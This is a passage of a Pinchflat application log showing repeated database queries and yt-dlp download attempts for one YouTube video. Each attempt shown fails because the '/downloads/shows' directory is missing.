s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:18.057 [debug] QUERY OK source="settings" db=0.5ms idle=1936.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:18.057 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=1048.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:20:18.058 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/65/3b/653b3b8bd1a5dd7d53b7b69948478d6142fb1d9ac8625e1754a183a0c65ce8ad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:20:26.848 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/65/3b/653b3b8bd1a5dd7d53b7b69948478d6142fb1d9ac8625e1754a183a0c65ce8ad.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:20:26.848 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:20:26.852 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":17875315,"event":"job:exception","queue_time":936386,"attempt":7,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:20:43.489 [info] {"source":"oban","duration":16324,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.957 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:13.498 [info] {"source":"oban","duration":3014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:43.521 [info] {"source":"oban","duration":16889,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.960 [info] {"source":"oban","duration":865,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:13.525 [info] {"source":"oban","duration":2253,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:43.547 [info] {"source":"oban","duration":17853,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.964 [info] {"source":"oban","duration":709,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:03.854 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405783853865667,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:23:03.859 [debug] QUERY OK source="media_items" db=1.7ms queue=0.1ms idle=355.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:23:03.860 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:23:03.862 [debug] QUERY OK source="sources" db=1.4ms queue=0.1ms idle=361.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:23:03.864 [debug] QUERY OK source="media_profiles" db=0.9ms queue=0.1ms idle=363.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:23:03.865 [debug] QUERY OK source="media_items" db=0.9ms idle=21.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:23:03.868 [debug] QUERY OK source="media_metadata" db=0.6ms idle=14.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:23:03.869 [debug] QUERY OK source="media_profiles" db=0.3ms idle=11.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:23:03.870 [debug] QUERY OK source="settings" db=0.3ms idle=7.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:03.870 [debug] QUERY OK source="settings" db=0.2ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:03.871 [debug] Running yt-dlp command for action: get_downloadable_status 13:23:03.873 [debug] QUERY OK source="settings" db=0.4ms idle=6.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:03.874 [debug] QUERY OK source="settings" db=0.2ms idle=4.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:03.874 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=5.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:03.875 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/12/16/12162395b410c205e65affe02522e8a31565e03c2611f3ab3c48dd85811adbca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:23:13.441 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/12/16/12162395b410c205e65affe02522e8a31565e03c2611f3ab3c48dd85811adbca.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:23:13.443 [debug] Running yt-dlp command for action: download 13:23:13.444 [debug] QUERY OK source="settings" db=0.3ms idle=1938.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:13.444 [debug] QUERY OK source="settings" db=0.1ms idle=1938.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:13.444 [debug] QUERY OK source="settings" db=0.1ms idle=1939.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:23:13.444 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/eb/09/eb09c78e68dad3f25f0aee7e0a1af3073dc2cc5fae65070a6f8dc0eb77f64788.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:23:13.569 [info] {"source":"oban","duration":18192,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:21.876 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/eb/09/eb09c78e68dad3f25f0aee7e0a1af3073dc2cc5fae65070a6f8dc0eb77f64788.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:23:21.877 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:23:21.879 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":18023801,"event":"job:exception","queue_time":1000215,"attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:23:43.589 [info] {"source":"oban","duration":19532,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.966 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:13.594 [info] {"source":"oban","duration":3433,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:43.617 [info] {"source":"oban","duration":16545,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.973 [info] {"source":"oban","duration":462,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:13.620 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:43.624 [info] {"source":"oban","duration":2027,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.975 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:13.629 [info] {"source":"oban","duration":2360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:43.634 [info] {"source":"oban","duration":2026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.980 [info] {"source":"oban","duration":533,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:13.647 [info] {"source":"oban","duration":2522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:43.659 [info] {"source":"oban","duration":1746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.983 [info] {"source":"oban","duration":1168,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:13.663 [info] {"source":"oban","duration":2908,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:16.314 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788406096314559764,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:28:16.328 [debug] QUERY OK source="media_items" db=1.9ms idle=1280.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:28:16.329 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:28:16.331 [debug] QUERY OK source="sources" db=0.5ms queue=0.2ms idle=1295.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:28:16.333 [debug] QUERY OK source="media_profiles" db=1.1ms queue=0.2ms idle=1034.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:28:16.334 [debug] QUERY OK source="media_items" db=0.4ms idle=28.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:28:16.337 [debug] QUERY OK source="media_metadata" db=0.5ms idle=22.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:28:16.338 [debug] QUERY OK source="media_profiles" db=0.1ms idle=20.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:28:16.339 [debug] QUERY OK source="settings" db=0.6ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:16.339 [debug] QUERY OK source="settings" db=0.3ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:16.341 [debug] Running yt-dlp command for action: get_downloadable_status 13:28:16.343 [debug] QUERY OK source="settings" db=0.3ms idle=8.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:16.343 [debug] QUERY OK source="settings" db=0.1ms idle=6.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:16.344 [debug] QUERY OK source="settings" db=0.3ms idle=5.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:16.344 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/27/8b/278b032f59af95e250c7c89709092ce0bf1a74dc5a6c74203387a3416b868646.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:28:26.226 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/27/8b/278b032f59af95e250c7c89709092ce0bf1a74dc5a6c74203387a3416b868646.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 13:28:26.227 [debug] Running yt-dlp command for action: download 13:28:26.229 [debug] QUERY OK source="settings" db=0.7ms queue=0.3ms idle=878.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:26.230 [debug] QUERY OK source="settings" db=0.4ms idle=189.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:26.230 [debug] QUERY OK source="settings" db=0.1ms idle=189.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:28:26.231 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d7/89/d7891362f005768c245f1a8a9801bbba5fbc7621912ce334613ea28b53f5a93e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:28:36.187 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-subs --convert-subs srt --embed-subs --sub-langs en --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --embed-metadata --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --output /downloads/shows/OzzieForKids/Season %(upload_date>%Y)S/OzzieForKids - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/d7/89/d7891362f005768c245f1a8a9801bbba5fbc7621912ce334613ea28b53f5a93e.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows' 13:28:36.187 [error] yt-dlp download error for media item #14408: "ERROR: Unable to create directory: [Errno 2] No such file or directory: '/downloads/shows'\n" 13:28:36.192 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":14408},"id":2349,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":19873831,"event":"job:exception","queue_time":432745,"attempt":9,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:28:43.695 [info] {"source":"oban","duration":29803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.989 [info] {"source":"oban","duration":1389,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:13.720 [info] {"source":"oban","duration":23486,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:43.727 [info] {"source":"oban","duration":3940,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.999 [info] {"source":"oban","duration":474,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:13.759 [info] 